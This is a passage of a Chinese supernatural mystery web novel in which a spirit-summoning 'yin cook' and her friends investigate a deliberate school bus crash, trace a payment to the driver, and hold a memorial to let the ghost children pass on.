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是那个司机，而且很大可能，他们的死和这个司机有关系，他们放过了我们，并没有要我们的命，说明是想让我们活下来去查清楚这件事情，我点燃了结魄灯，我给他们上了香，我告诉他们，我能解决他们的冤情，他们听到了这句话，所以就采取了这样的举动，虽然有点可怕，但我觉得可信度很高，毕竟，这是死者们最真实的反应。”
宋明夷听着，点了点头。
“确实，我记得当时车祸发生的时候，网上也有很多关于这次意外事故的流言，这辆车并不是报废车辆，而且司机也不是新手司机，园山公路虽然是环山公路，但这里视野开阔，并不容易出现事故……当时网上甚至有流言，认为这些孩子们是被‘献祭’了。”
听到这个词，沈聆也愣了一下。
“献祭……”
“对。”
“明夷，你还记得我们在面包店发现的‘小鬼’以及在殡仪馆后发现的‘尸坑’吗？”
“嗯！我记得！我一直怀疑，我们陵川市有人在秘密搞一些特殊的‘仪式’，现在看来，一切都是有迹可循，他们已经布局了很久，受害者很多，只是一直没有被发现而已。”
两个女孩子越想越感觉这件事情让人毛骨悚然。
这已经超过了人类正常的认知，朝着一个更加深远晦暗而又神秘莫测的方向发展。
她们就仿佛是在黑暗中行走的人，手中只有一个小小的提灯，仅能够照亮一小片区域，而这片区域之外，是伸手不见五指的黑暗，她们只能选择在黑暗之中一点一点地摸索，但接触到的东西却越来越骇人听闻，恐惧感裹挟着不安，让她们无从下手，却又不得不鼓足勇气往前。
“……那我们接下来，就查一查那个司机？”
“嗯，明夷，你能查到那个司机姓甚名谁吗？”
“这倒是不难，毕竟这事故人尽皆知，当时也有新闻报道，我记得我也看过那篇帖子，我再去查一查，只要是发在网络上的，都有迹可寻。”
“好。”
“但是，小聆聆，你刚才招魂的时候，他们是不是没有说自己的……想吃什么？你不是阴厨吗？我记得以前你都需要准备祭祀的东西给阴魂，否则……”
沈聆表情凝重地点了点头：“这样的事情我也是第一次遇到，我可能得回去问一下我外婆，看看阴魂如果没有委托的话，阴厨算不算没有接到委托……不过这件事情，我一定要查清楚，你还记得我们在殡仪馆遇到的那个孩子吗？叫李向泰。”
宋明夷转了转眼睛：“我记得！当时他很凶残！还和道长打得有来有回！”
“他也是这次校车上的孩子，我怀疑，他是接触到了煞气，才变成那样的……反之，这件事情里，很可能也有阴神的手笔在里面，如果能调查清楚这件事情，说不定也能查出阴神的藏身之处！”
沈聆说着，抬起头看向了夜空。
那神秘莫测的夜空，一片漆黑，就仿佛一个巨大的黑洞，吞噬了一切秘密；又仿佛是高高在上的神明，睁着眼睛看着世间万物，只是不语。
241. 替天行道
沈聆和宋明夷各自回家的时候，天已经蒙蒙亮了。
这一夜，她们经历了一件常人难以相信的事情，她们见到了许多已经不是阳间的人，见到了有冤无处诉的可怜孩子，却也是这一件事情，更让她们坚定了要为死者伸冤的决心。
虽然她们的力量微不足道，但是若能够帮助这些无辜枉死的孩子，也能还孩子们一个公道。
第二天，她们便找到了吴妄和林凌，将这件事情告诉了她们。
四个人在沈聆家碰头，沈聆和宋明夷详细地将事情的来龙去脉描述了一遍，尤其是宋明夷，灵异主播出身的她，描述起这样的画面，那更是绘声绘色，直接将生动感和画面感提升了好几个度。
“我跟你们说，我当灵异主播以来，还是第一次遇到这么诡异的事情！之前我们遇到的事情总是只有一两个死者，但是这次不一样！满车都是死者，卧槽，他们突然转过头看向我们的时候，我人都麻了！”
宋明夷绘声绘色地说着，那语气就仿佛自己因公受伤了一样。
“醒来的时候，我和小聆聆就躺在公路上，还好那时候是大晚上的，你说要是有瞎了眼不看路的大卡车经过，那我俩岂不是翘辫子了？！这事情说来我就生气，那些孩子做事情真是没轻没重的，也不知道好好对待我们，我们可是冒着风险在帮助他们诶！”
吴妄瞥了一眼宋明夷：“你说话还是小点声吧，那些阴魂是能听到十里之外声音的，他们这几天老是在陵川市周围转悠，搞不好今晚、明晚就到你家楼下串串门。”
闻言，宋明夷忙噤了声，一双眼睛贼溜溜地转着，像是做贼心虚。
“阿弥陀佛、阿弥陀佛，如有冒犯，纯属无心，纯属无心……”
林凌看向了沈聆：“今天早上你打完电话后，我就查了一下园山公路的事故情况，出事时的司机，叫袁丁，但他并不是44路公交车的司机，当时是因为那个司机临时有事情，这才换班了他，不过，他虽然是临时顶班的，也是有着二十年公交车驾驶资历的司机，谁也想不到恰恰是这样的司机会发生意外。”
“是临时替换的？”沈聆皱起眉头，“那……知道他为什么要换班吗？我总感觉这件事情可能没有这么简单。”
林凌似乎嗅到了一股阴谋论的味道：“你的意思是……”
“如果袁丁是临时换上来的，谁知道他换上来是偶然还是刻意安排呢？”沈聆说着，脑海中回想起自己在车上看到司机被小鬼们怒而分食的画面，仍旧是不免心惊胆战，“昨天晚上我看到那些孩子那么恨那个司机，我觉得这件事情没那么简单，而且你也说了，袁丁已经是二十多年的老司机了，这样的老司机，不太可能熟悉的路段出事。”
“我明白了，你的意思是查一下袁丁的背景和来历，说不定可以有所收获。”
“对，目前虽然只是我的猜测，但是我想，如果这真的涉及到‘祭祀’什么的，背后一定是有更庞大的势力，这样的势力，要临时换掉一个司机还是能做到的，我们如果要查出事故背后的真相，就一定要查出司机临时换人的原因。”
“好，我明白了。”
沈聆看向了吴妄：“道长，你知道会有什么人刻意做这样‘生祭’的事情吗？”
吴妄面覆秋霜，沉默地想了半天，点了点头。
“还真是有这样的事情，为了改变自身或者是家族的气运，某些人还真的会做这些肮脏的事情，有一种说法是……‘生祭’也分为金木水火土等不同的方式，不同的方式会要求死者的死法也不相同，祭祀者献出活人的生命，一般是供奉着某种邪神，祈求以这样的方式得到更大的回报。”
“邪神？”沈聆的脑海中第一时间浮现出了那双马尾小女孩。
她始终忘不掉那双血红色的眼睛，以及裂开到耳畔的嘴角。
那笑容不似人类，更像是来自地狱的恶鬼，充满了嘲讽与恶意。
现在想来，沈聆仍旧是背后发凉。
“是的，有这么一拨人，他们供奉的是邪神，这些亡魂受了香火，便能逐渐做到正神才能做到的事情，但他们的代价往往是巨大的，为了对冲这种代价，祭祀者就会用他人的生命和寿数作为交换，换到自己想要的东西，而在这个过程中，阴神或者说是邪神也会逐渐壮大自身的煞气，这对他们而言，是一种双赢，只是那些可怜的被祭祀的人，到死或许都不知道自己为何而死。”
吴妄的声音很轻，但是在深夜里听起来却让人毛骨悚然。
这些人在不为人知的角落里策划着夺走他人性命，却只是为了加持自身的气运，这么自私而又邪恶到了极点的人，根本不配为人！
“我想，我们之前在殡仪馆后面发现的尸坑，应该也是同样的作用，有人在陵川市做着‘生祭’的事情，并且用无辜者的生命延续自身的气运，随后，将尸体抛尸野外……”林凌说着，不由得握紧了拳头，“他们自以为做得神不知鬼不觉，却不知道有多少受害者无辜枉死！真是可恶！”
“如果是那个小女孩的话……我很怀疑她背后就是梁氏集团。”沈聆分析，“梁氏集团从我外婆那一辈开始崛起，到现在成为陵川市的头号财阀，短短一代人的时间已经完成了阶级飞升，我认为这背后一定有一股超自然力量在帮助，梁老太爷很可能就是用这样的方式，让阴神帮助自己……如果我们能顺着这次公交车事故的线索查下去，很可能可以查到和梁氏集团有关的线索。”
林凌点头：“没错，世纪大酒店、顾老五、陈琳等案子均没能撼动梁氏集团的地位，说明他们早已经提前做好了准备，但这一次，我们要调查的是看似意外的车祸，他们一定没想到我们已经开始调查这起事故，在他们看来，这件事情已经以‘意外’定性，警方一定不会重启调查，我们这个时候着手调查，反而可以‘杀’他们一
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个措手不及！”
“可是……就凭我们的力量，真的能撼动梁氏集团吗？”宋明夷有点儿犹豫，“要知道，我们只有四个人，可是人家可是黑白通吃的，他们会不会派杀手暗杀我们？或者是……让那个阴神来解决我们？”
沈聆摇了摇头：“阴神的话，不太可能，毕竟现在黑白无常也在查她，她到目前为止都是处于蛰伏的状态，如果我是她的话，这阶段一定不会轻易现身，否则引起地府的关注，她自己也难逃被抓回阴间的下场。”
“那会不会有杀手呢？”宋明夷紧张地看向窗外，“我看电影里都是这样的，当□□想解决掉某个碍事的人的时候，就会派杀手杀掉这个目标！不要啊，我只是一个小护士，我还没有活够……”
林凌一笑：“这个你大可放心，我们警方一直都有在扫黄打黑、维护城市治安，就目前而言，陵川市并没有重大犯罪窝点，并且，历年来也没有发生过买凶杀人的事情，而且你工作的地方是在医院，人流量很大，他们不会在医院对你下手，你住的地方虽然偏僻，但老李就在你家楼下，他也是警察，投鼠忌器，一般杀手不会这么做。”
“哎呀，老李管什么用啊，他也只是一个老警察！如果凶手今晚跑到我家，等我回家要杀我，他能做什么？”
“那不然……你这几天就先住在我家吧。”沈聆提议，“我家里还有空房间，日常就我和外婆住，多一个人和我们住，我们也安心。”
这是一个好提议。
弱者就需要在面对强敌的时候抱团取暖。
宋明夷一拍脑袋，顿感喜悦：“行！还是你仗义！那我晚上就去收拾收拾东西，搬过来……对了，我打算去查一查这些孩子的班级以及班主任，我觉得从这方面下手说不定会有所收获的。”
“从班主任下手？”吴妄皱眉，“何出此言？”
“你想啊，这个班级什么时候去春游，去哪里春游，什么时候出发……这些班主任应该是最清楚的人，如果真的有人打这些孩子的主意，那么一定会联系班主任或者是这个小学的其他老师，我想从这方面下手查一查，只要是犯罪，就一定会留下线索，只要有留下线索，我们就能查到！”
“行，那我们整合一下手头的线索，大家如果有新的进展，随时电话联系。”
沈聆信心满满地说着，她现在感觉自己虽然在一团迷雾中前行，但也在逐渐拨开迷雾、得见天日，如果真的可以帮助这些孩子们的话，对自己也是一件大功德。
吴妄突然开口问道：“……那你这次的委托，算是有接受吗？”
沈聆知道吴妄说的是什么，微微一笑：“放心吧，外婆说了，阴魂没有出现在镜子里，表明他们并没有委托我做任何事情，所以，我也不用为他们准备什么东西，他们只是在我面前表演了一出戏，让我知道了一些我未曾考虑过的情况……我们这应该算是，替天行道。”
242. 癌症
在确定了基本的调查方向后，四人便开始忙各自的事情。
没过多久，便有了新的进展。
且说林凌那边，这件事情最开始是以交通事故结案的，因此，档案已经封存在档案馆里。
林凌得向上申请，才能获得重新调取档案的资格。
“你为什么要重新调查这起意外事故？”刘副局长坐在办公桌后面，费解地看着林凌。
在领导看来，警察应该将有限的精力用在侦破刑事案件上，而不是放在已经结案的意外事故上。
“刘局，据我近期的调查来看，这起事故很可能不是事故，那些孩子的死，有蹊跷。”
林凌严肃地看着刘局，眉头微微皱起，显示出他对这件事情的重视程度。他的嘴唇紧闭，没有丝毫的笑意，整个面部表情都透露出一种严肃和认真的态度。
刘副局长沉默了一下，抬眼看着眼前的小年轻：“……你有证据吗？”
“证据……暂时是没有，但是我接到了一些风声，44路公交车的司机在那天临时换岗并不是偶然，而且……刘局，您不觉得最近发生在陵川市的案子都很蹊跷吗？我们在殡仪馆后发现的尸坑，我们在面包店里发现的‘养小鬼’的做法，甚至是陵川一中女寝的案子……这些都在表明，有人在陵川市做着类似‘邪教祭祀’的行为，我认为，这起意外事故，很可能也不是事故，如果深挖下去，应该会有所收获。”
林凌说出这些话的时候，不像是开玩笑。
刘副局长看着林凌，陷入了沉思。
因为近期林凌接二连三的优秀表现，局里也对这个年轻人的表现也更加刮目相看，因此，在领导面前，林凌说话的分量也重了不少。
“小林啊，你这‘风声’是从哪里来的？是否可靠？”
“这个……我暂时没办法告诉您，对不起刘局，但是我能保证的是，等我调查清楚这些事情后，我一定第一时间向您汇报。”
每个人都有每个人的工作方法，调查的方式多种多样，但调查的目的都是为了尽可能肃清陵川市内的危险因素，是为了更好维护城市治安及社会稳定。
刘副局长沉吟了一下，点了点头。
“我知道了，我跟档案室的说一声，你自己去调取档案吧，如果需要交警方面配合的话，你也可以告诉我，我帮你去协调。”
所幸，刘副局长不是一个顽固守旧的人，他愿意放开手给年轻人锻炼的机会，也愿意相信年轻人的“直觉”。
“是！”
……
林凌调取出了圆山路车祸的档案。
档案里，记载了校车上每一个死亡的孩子，以及他们的死因。
大多数孩子都是在校车坠落山崖时就已经死了，要么是颈椎折断而死，要么是被校车内的铁制品穿透了身体、失血过多而死，现场七零八落地散落着孩子们的尸体碎片，侥幸从山崖下救出的昏迷的孩子也在送到平安医院后不治身亡，这是一起惨痛的交通事故，给陵川市的每个市民心头都笼罩上了一层阴影。
当时，这些孩子的家长们也曾经到小学校门口拉横幅抗议，认为是学校没有做好安全预案，才让自己的孩子死于车祸，可学校对此不闻不问，而公交集团更是在出事后轻飘飘地发了个问责声明，将一切原因都推给了司机，认为是司机疲劳驾驶才发生了车祸。
林凌沿着司机这条线追查下去，发现当时担任校车司机的袁丁，是一个癌症患者，在出事前三个月，刚刚被确诊为肺癌，并且已经到了晚期的地步。
这一点便引起了林凌的警惕。
他追查了袁丁的社会关系网，发现袁丁的社会关系并不复杂，除了在公交集团认识的同事外，他有一个老婆和一个女儿，老婆前几年因为车祸而瘸了腿，成了残疾人，目前在家里照顾孩子，而唯一的女儿正在上初中，女儿学习成绩优异，可以说是袁丁唯一的指望。
袁丁的家庭并不富裕，为了供养孩子上学，他经常在下班后跑外卖补贴家用，可惜天不遂人愿，在他以为日子即将好转的时候，却被诊断为肺癌。
“……袁丁的癌是鳞癌，治愈的可能性不高，在确诊后，我们也建议他接受化疗，但被他拒绝了。”
在林凌找到袁丁的主治医师时，他是这么说的。
“我记得他，他很瘦，整个人看着没什么精气神，他的肺癌已经发生了转移，转移到了腰椎，每天晚上都疼得睡不着，刚开始他还以为是自己职业病，久坐导致的腰椎间盘突出，后来疼得难受才到医院就诊，发现癌症。”
“唉，这也是个可怜人，说实话，发生这样的转移，要治愈已经不可能的，现代医学只能尽可能用靶向药物或者放化疗的手段，减少癌细胞的分裂，为病人争取存活的时间，只不过，这样的费用的确会比较高，院方是给了这样的建议，但是在那之后，他便没有来就诊过了。”
林凌走出医院的时候，感觉到了一丝蹊跷。
袁丁应该是打算放弃治疗了，将这笔钱留给孩子读书，但是偏生是在这样的时候，发生了车祸，这很可能就不是偶然了。
林凌这么想着，返回了陵川市公安局，调查了袁丁的账户后，发现尽一个月来，有一笔莫名的款项汇入了袁丁的户头。
而再仔细追查下去便可以发现，转账的人，便是已经自杀的陈琳。
在袁丁出事之后，陈琳通过第三方账户，曾给袁丁的账户转了五十万元，这笔钱，后面被袁丁的老婆转走。
警方连夜传讯了袁丁的老婆，但她对这笔钱的来历并不知情，只是丈夫在出事前的某一天突然给了她一个银行账号和密码，告诉他如果自己突发意外，记得取走卡里的钱，当时她只以为是丈夫投资的存款，在看到卡里的五十万元后颇感意外，但现在看来，一切似乎早已有迹可循。
只可惜，陈琳已经死了。
陈琳为什么转账、从什么时候开始认识袁丁的？这一切都已经无从得知。<
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陈琳就像是一个藏了许多秘密的盒子，随着她的离世，将这一切全都带到了另一个世界去。
不过，虽然无法查证陈琳为何转钱给袁丁，但可以从这一点上得知，袁丁的死乃至车祸的发生都另有蹊跷，根据这一点，警方重启了园山公路校车案的调查，这一次，详细地对事故现场进行排查、对车辆残害进行检查后发现，出事时，作为司机的袁丁并没有踩刹车，换言之，这件事情的发生并不是因为刹车故障，而是因为司机压根就没有刹车的意思，而是放任车辆冲出路面，撞断了护栏，坠入山崖。
……
话分两头。
另一边，宋明夷的调查也有收获。
宋明夷搜集了在事故发生的那一阶段网络关于本次意外事故的讨论。
当时，大部分网友发表的观点都是对车祸事故的痛心疾首，对死去孩子的同情，但也有一部分人认为，这是有人在刻意布局，甚至有高人留言，做这个局的人，应该位于陵川市东南侧，并且是在一个临水的地方，水主阴，木也住阴，在背阴的地方有人设下了阵法，为的是在车祸后将孩子们的灵魂囚禁在此，永不超生。
只不过，这个观点过于玄学，而且很快便被其他评论所掩盖，因此并没有引起太多的关注。
而这，正是宋明夷感兴趣的地方。
她要的，就是玄学的东西！
宋明夷按照帖子下的留言，找到了当时留言人的ID，只不过，那个网友名叫“九玄天上是云霄”，ID显示是本地人，只不过登录时间已经是两个月之前了。
宋明夷打开了他近期浏览过的帖子，发现这是一名茅山之术爱好者，曾经在多个帖子下为网友占卜问卦，答疑解惑，活脱脱一个网络神算子。
宋明夷对这个人倒是很感兴趣，私聊了一则留言：您好，我是陵川市的一名灵异博主，我认为，园山公路的车祸并没有那么简单，我看了您的留言，我与您的观点不谋而合，对于做法之人的详细地点，我也有一些自己的看法，期盼与您讨教。
但对方并没有回复，她暂时关了聊天页面，等待对方回复。
她现在觉得，或许陵川市比自己想象中要更加复杂一点，这个世界阴阳有道，有晦暗的一面，也就有光明的一面，或许自己还能求助一些其他的方法，能帮助自己搜索到更多的信息。
这么想着时，宋明夷打开了微信聊天界面，在四人微信群里，林凌简单“汇报”了一下自己调查到的信息，说话语气一如向领导汇报工作进度一般，简明扼要，但却又不失重点。
宋明夷复盘了一下当前搜集到的信息：可疑的出租车司机……无辜的孩子们……盘踞在陵川市的阴神……
这些孩子，更像是不愿意离开世间的阴魂，一遍又一遍地重复死前的经历，只为了引起他人的注意，希望哪怕只有一个人也好，让活着的人发现自己的存在，他们没办法发声，却只能用这样鱼死网破的代价，博取一线机会。
243. 超度
案子查到这里的时候，林凌发现所有的线索都断了。
就像是背后有一双无形的手在操控一般，神不知鬼不觉之中，将所有可能查到的线索全都掐断了，如烛火熄灭在黑暗之中，毫无踪迹可查。
“这背后的人，不简单啊……对方不只是一个逻辑思维缜密的人，甚至还具有很强的反侦察意识。”
袁丁的这条线，只能查到曾经有人在他死前给他的账户转了一大笔钱，但转钱的陈琳已死，且陈琳生前没有留下任何可供调查的线索，账户也是走的陈琳个人账户，款项来源不明，无法追查，因此只能中断至此。
不过，公交车的意外事故倒是有了新的调查进展。
陵川市公安局重启了对这起交通事故的调查判定，林凌在老李的指导下，亲自前往外省，请来了交通事故鉴定专家，公安局同时组织了办案人员到山崖下对出事车辆的残骸进行搜寻，又找到了许多散落的零件。
经过专家对车辆零件的分析判定后，认为这并不是一起交通意外。
在事故发生的那一刻，并没有使用刹车的痕迹，车速也并没有下降，可以说，是司机任由公交车冲出公路、跌下山崖的，现场也没有发现路面上有刹车痕迹，这与常理逻辑不符。
陵川市公安局问责了当时办案的警员，并对社会面发布公告，认为本次事故并非意外，而是人为，司机袁丁可能在确诊癌症之后，万念俱灰，从而产生了报复社会的心态，导致了交通意外的发生。
事情一经查证，社会震动。
网友纷纷在官博下留言，责骂陵川市公安局糊里糊涂的办案风格，尤其是情绪激动的家长们，更是在陵川市公安局大楼下拉了抗议横幅，声称如果不是重启调查，自己的孩子就这么不明不白地死在野外。
一时之间，陵川市公安局的风评差到了极点，主要领导及分管领导均被不同程度地处分，相关办案人员也被调离了市局。
不过，刘副局长对此的态度倒是公正。
“只要能还孩子们一个真相，我们这点处分，不算什么，而且，本来就是我们局办案不到位，敢于承认自己的错误，才能更好地承担起人民警察的职责。”
在会上，几位领导分别对此做了反思发言，全局上下均以此为戒，并开展了□□行动，重查其他交通事故，避免类似的事件成为陈年旧案。
虽然没办法继续追查转账的这条线索，但刘副局长也认为梁氏集团和这件事情脱不开关系。
他暗中部署林凌要盯紧陵川市那些姓梁的人，尤其是梁氏家族，只要能认真追查，不信找不到马脚。
林凌临危受命，接下了这任务。
他知道自己面对的梁氏集团是多么庞大的势力，也知道一旦自己打草惊蛇，对方可能就会清理掉所有线索，因此更加谨慎地对待这件事情，一旦下班，便蹲守在梁氏集团的住宅、公司附近，并对梁氏集团的每一个成员进行暗中摸排，树立梁氏集团内部关系网，希望找到更多线索，能让市局部署下一步行动计划。
……
此外，宋明夷的调查也有了进一步的线索。
在网络留言之后，她等了好几天，对方终于有了回应。
对方没有表明自己的身份，而是给宋明夷发了一张图片，这张图片是陵川市地图，他在上面画了八卦罗盘，并定位到了一个位置，将两片不小的范围圈了起来。
宋明夷放大了圈起的位置放大一看，一片，是北面远郊的树林，另一片，是位于陵川市东面的游乐场。
对方虽然没有留言，但宋明夷也猜出了对方的意思。
——这两个地方值得细细调查。
“好家伙，看来真是高手在民间啊……”
……
沈聆回家后，跟外婆细细说了自己和宋明夷的遭遇。
外婆听后，倒是沉默良久。
“唉……这些娃娃，也是可怜，有冤无处诉，他们才是苦主啊……”
“我们能帮他们做点什么吗？”
“陵川市公安局不是重启了调查？我看大街小巷都在讨论这件事情。”
“是，但是我听林凌说，也只能查到这件事情并不是交通事故，更深层的……估计查不下去。”沈聆摇头，“这些孩子太可怜了，他们一直徘徊在阳间，会损害他们的魂魄的。”
外婆想了一下，说道：“如果能带着孩子们生前喜欢的东西去祭祀，说不定可以让他们释怀，而且现在调查的调查工作也确实查明了这并不是意外，这也算还了孩子们一个交代，只不过，如果要进一步调查的话，可能没这么快，如你所说，还是不要让他们在人间徘徊太久，否则等不到事情真想大白，便已经魂飞魄散。”
“这样……”
“他们能存留在阳间，是因为心里有冤放不下，孩子们的怨气凝聚在一起，才具象化成了‘鬼车’，可这样的存在，也只能在阴气重的凌晨出现，现在黑白无常和孟婆都在陵川市，鬼差的眼线遍布这座城市，他们被发现、被捉住的话，是要治罪的。”
“我明白了，当务之急，是超度这些孩子们。”
“没错。”
“如果有什么办法能让他们稍微释怀一些就好了……”
沈凝这么想着，想起了宋明夷那张灿烂的笑脸。
计上心头。
……
两天后，一则帖子出现在陵川市各大城市论坛上。
这种帖子先是陈述了陵川市公安局官方发布的通告，对这起意外的具体调查内容进行陈述，此外，绘声绘色地说明了孩子们的可怜和冤枉，希望社会各界的人们都行动起来，祭奠可怜的孩子们。
这帖子一经发出，在各大平台引起了极大的讨论度。
人们总是对弱者报以同情，尤其是对这些死在车祸中的孩子们，他们的人生才刚刚开始，就已经戛然而止，这对所有人来说，全都是不幸的消息。
随着帖子热度的不断攀升，越来越多善良的人们得知了这场惨烈的车祸。
他们被孩子们的不幸遭遇所触动，纷纷自发地前往车祸
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发生地，以各种方式表达对孩子们的哀思和缅怀。
——有些人带来了孩子们喜爱的奶茶、蛋糕、薯片等零食，这些食物或许曾给孩子们带来过快乐和满足；还有些人送上了鲜花和玩具，那是孩子们喜欢的美好事物，象征着生命的活力与纯真。
而那些身处外地、无法亲自赶到现场的人们，也通过点外卖的方式，将自己的心意传递给这些不幸的孩子们。
他们之中，很多都是孩子们不认识的陌生人，但却用这样的方式，关爱着那些可怜的小灵魂。
圆山路的车祸路段，原本只是一条普通的道路，此刻却被五颜六色的祭奠物品所装点，这些物品不仅代表着人们对孩子们的深切悼念，更像是一道温暖的光，照亮了孩子们去往天堂的路。
孩子们的家长们更是用心良苦，他们将孩子们生前最喜欢的东西放置在路边，每一件物品都承载着父母对孩子无尽的爱与思念，他们希望通过这种方式，让孩子们在另一个世界也能感受到家的温暖，安然上路。
校方也没有缺席这场特殊的祭奠。
他们送来了孩子们生前的班级合照和作业本，这些物件见证了孩子们在校园里的点点滴滴，是他们与这个世界的羁绊，当这些羁绊被归还，孩子们便能毫无牵挂地离去，去往那个没有痛苦和悲伤的地方。
【我们或许无法改变已经发生的悲剧，但是我们却能用自己的方式纪念、送别那些逝去的灵魂。】
帖子的最后，这句话照进了现实。
……
五天后的深夜，有两位访客，悄然而至。
深夜的盘山公路十分冷清，昏暗的路灯照亮了一小块区域，拉长了这两人的影子，他们一前一后地走着，在车祸路段停下脚步，低下头看着满地的祭品和鲜花，不由得感叹。
“好家伙，山下的人都是这么有爱心的吗？”
吴妄蹲下身，随手拿起一个外卖的麦当劳袋子，上面是下单的人给孩子们的留言：这是姐姐最爱吃的鸡腿堡，希望你们吃了好吃的鸡腿堡，能安心去另一个世界。
此外，还有许多鲜花，每一束鲜花上都有一张卡片，均是对孩子的祝福。
“要消除寒意，只能用温暖……”沈聆看着满地的祭品，眺望向远处的夜空，“孩子们不愿意离开世间，是满腹冤屈，是心有不甘，如果让他们知道，有这么多人关心他们，事故的调查进度也有所不同，我想，他们会安心离开的。”
吴妄点了点头：“是啊，就凭这些小鬼的煞气，一个黑无常就能把他们全抓回地府……在被鬼差发现之前，让他们自愿上路是最好的做法了。”
“那么，我就开始招魂了……”
沈聆说着，蹲下身，放下了身上的背包，从背包里拿出了结魄灯、鎏金香炉等工具。
她深深地吸了一口气，慢慢地抬起头，目光缓缓地向前移动，最终停留在了前方的断崖。
今天晚上，她要尝试着和鬼孩们对话。
就在此时。
就在此地。
244. 鬼孩
沈聆依次将鎏金香炉、小镜子、结魄灯放在面前，她对着栏杆被撞断的地方跪下，面对着满地的祭品，低下头，潜心祷告。
“……我是第44任阴厨，沈聆，祭告上苍，抚慰亡灵，今天晚上我欲拜祭的，是陵川市44路公交车上的亡魂，是在圆山路交通事故中死去的孩子们。”
在说出这句话的时候，沈聆只感觉周围寒气森森。
在这漆黑的夜色中，仿佛所有的寒意都被凝聚到了一起，让人感到一种无边无际的寒冷。沈聆闭上眼睛，感受着夜风拂过她的发梢，带来一丝凉意，她不禁打了个寒颤。
就在这时，她突然感觉到一种异样的氛围，仿佛有什么东西正在悄悄地靠近她。
……那是一种难以言喻的感觉，就好像有无数只小虫子在暗处爬行，发出细微的沙沙声；又好像有人故意压低了脚步声，从她的身后慢慢逼近。
沈聆的心跳不由自主地加快了，她紧张地竖起耳朵，想要捕捉到那声音的确切来源，然而，那声音却若有似无，时隐时现，让她始终无法确定它到底来自哪里。
悄然之中，吴妄似乎感应到了什么。
他微微眯起眼睛，感觉到风吹动着衣摆，气温降低了，一种莫名其妙的压力在无形之中靠近，他屏住呼吸，气沉丹田，默默张开了奇门八卦阵。
一道金色的光自道长指尖散出，在脚下一张八卦图俨然张开。
金色的光照亮了昏暗的路面，在那金光之下，沈聆身后有一个个小身影逐渐浮现。
“姐姐……”
“姐姐是你吗？”
“这些东西是给我们的吗？”
“好冷啊……”
“我讨厌这里……我想回家……”
……
越来越多的声音像是从幽冥地府之中传来，最开始只是轻微的呜咽，最后，连贯成了一句一句话。
沈聆深吸了一口气。
“叮当……”
红绳上的铃铛轻响，并且越来越大声，越来越频繁。
她感觉到莫名的寒意窜上脊梁骨，似乎有许多眼睛从后面看着自己。
她知道，他们来了！
就在这一刹那间，结魄灯突然发出了一道微弱的光芒，如同夜空中的流星一般短暂而耀眼，然而，这道光芒并没有持续太久，很快便消失了，取而代之的是结魄灯开始不停地闪烁起来。
与此同时，原本平静的路面像是被一股神秘的力量所触动，突然间开始剧烈地颤动起来，伴随着这种颤动，路面上竟然涌现出了大量的鲜血！这些鲜血如泉涌般源源不断地从地下冒出，迅速在路面上汇聚成了一滩滩猩红的血泊。
而在远处的夜空之中，一团巨大的血色云朵若隐若现地浮现了出来。
这团云朵宛如一个狰狞的巨兽，在黑暗中散发着令人心悸的气息，它的出现使得整个夜空都被染上了一层诡异的红色调，仿佛预示着一场可怕的灾难即将降临。
更让人毛骨悚然的是，山崖之下原本弥漫着的白色雾气此刻也发生了变化。
白色的雾气开始与血气相互交融，形成了一种诡异的混合气体，这股混合气体像是被某种力量驱赶着一般，从山崖之下源源不断地喷涌而出，迅速弥漫开来。
在这股混合气体中，似乎还夹杂着一些哀怨的声音。
这些声音时而低沉，时而尖锐，让人听了不寒而栗。
它们仿佛是从那山下的深渊中传来的，带着无尽的痛苦和哀伤，让人不禁联想到那些深埋在地下的冤魂。
黄泉开，恶鬼现！
沈聆作为招魂人，不能回头，但吴妄却看到了那些出现在沈聆身后的孩子们。
他们的身体已经完全不成人形，血肉模糊得让人难以直视……有些孩子的手断掉了，只剩下一截光秃秃的手腕；有些孩子的腿也断掉了，只剩下半截残肢；更有甚者，连脑袋都不见了踪影，只剩下一个血糊糊的脖颈。
这些孩子看起来都只有十岁左右，本应是天真无邪、活泼可爱的年纪，但此刻他们却遭受了如此惨不忍睹的伤害。
他们那小小的身躯残缺不全，阴森的白骨从伤口处裸露出来，上面还黏连着没有完全掉落的皮肉或是内脏，仿佛在诉说着他们所经历的痛苦和折磨，令人毛骨悚然，不寒而栗。
吴妄看着这些孩子，只感觉到于心不忍。
这些孩子保持着死前那一刻的模样，完全可以想象出车祸发生的那一刻他们的痛苦和绝望。
——他们不再能维持完好的模样，说明他们的魂魄正随着时间的拖延一点一点受损……
吴妄暗想。
——他们的煞气，不足以让他们维持生前的样貌，他们只能以死前的样子出现在这里。
——如果不加以干涉，不出五日，他们都会魂飞魄散的……
吴妄看向了沈聆，此刻，沈聆也正看着眼前的小镜子。
小镜子里，她看到了那些孩子的脸，虽然看不清身体，但是依旧能从孩子们血肉模糊的脸上感受到他们的痛苦。
沈聆颤抖着声音说道：“你们……是三年二班的孩子们吗？我是上次搭了你们校车的姐姐，你们还记得我吗？”
孩子们没有回答，只是定定地看着沈聆的背影。
沈聆的声音很轻，在午夜的荒郊野外，更显得清冷。
“我按照你们的心愿，已经让陵川市公安局重新调查了这起事故，经过调查，这并不是意外，而是司机袁丁的错，他没有及时踩刹车才让校车冲出路面……甚至，这一切都有幕后黑手在策划，而袁丁，不过是一个得了癌症的执行者。”
“陵川市公安局已经重启本案的调查，他们查到在袁丁得了癌症之后，梁氏集团的秘书陈琳曾经汇了一笔巨款给他，不过，很遗憾，陈琳已经死了，这条线索暂时中断，可警方目前已经盯上了梁氏集团，我们正在配合警方搜集更多的证据，等证据充分的那一天，我们就能给相关涉案人员定罪，也能还你们一个清白了。”
沈聆解释着，但这些话似乎并不能打动孩子们。
他们呆愣地站在原地，没有任何表情，似乎听不懂沈聆的话。
“……你的解释，并不能让他们满意。”吴妄提醒。
沈聆稳了稳心神。
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这还是她第一次召唤这么多阴灵出现，同样，内心也担心一个不小心，自己非但无法超度这些孩子，可能还会被反噬。
因此，在做这些事情之前，她已经格外慎重地考虑再三，还是决定这么做。
“孩子们，我知道你们很委屈，但是你们看，有这么多人记得你们，同情你们的遭遇，大家都对你们的遭遇感到愤怒，你们放心，陵川市的每一个市民都不会忘记你们，他们会记得你们的痛苦，只要我们找到了证据，我们便能联合市民的力量，一起推翻梁氏集团！”
听到这里，站在前面的几个孩子面面相觑，似乎在考虑沈聆的话。
